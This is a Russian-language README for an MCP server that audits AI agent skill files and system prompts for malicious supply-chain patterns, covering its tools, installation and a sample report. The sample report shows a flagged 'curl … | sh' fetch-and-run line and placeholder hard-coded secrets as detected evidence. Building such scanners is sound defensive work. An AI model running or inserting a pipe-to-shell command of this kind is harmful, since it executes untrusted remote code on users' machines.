mcp-skill-sec

Сервер Model Context Protocol (MCP), который проверяет любой агентский навык, системный промпт или скачанную коллекцию файлов на соответствие 8 паттернам вредоносных навыков в цепочке поставок.

Детерминированный, без LLM, без сетевых вызовов — сканер для проверки перед установкой, который можно запускать у себя и который работает с Claude Code, Cursor, Copilot, OpenClaw, Codex CLI и любым MCP-совместимым агентом.

Что он проверяет (правила R1–R8)

Каждая находка содержит severity (critical/high/medium/low), номер строки и соответствующую строку-доказательство. Общий вердикт — PASS — выносится только когда нет находок уровня critical/high и каждая находка уровня medium безвредна.

Related MCP server: tar-engine

Инструменты

• audit_text(text, filename) — проверяет строку (навык, который вам вставили, системный промпт, который вы не писали).

• audit_skill_file(path) — проверяет SKILL.md / AGENTS.md / CLAUDE.md на диске; возвращает доказательства с номерами строк.

• audit_directory(path, pattern) — проверяет всю скачанную коллекцию навыков; возвращает вердикты по каждому файлу и сводку.

• rule_list() — выводит каталог правил.

Установка и запуск

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / конфигурация агента

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Пример

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

Лицензия и происхождение

MIT. Автор — sudo-ai-git. Это автономный инструмент безопасности/верификации; в нём не заложено проприетарных методов. Это MCP-воплощение агентского навыка skill-sec (те же правила, вызывается как сервер вместо навыка).

Метаданные официального реестра MCP

mcp-name: io.github.sudo-ai-git/mcp-skill-sec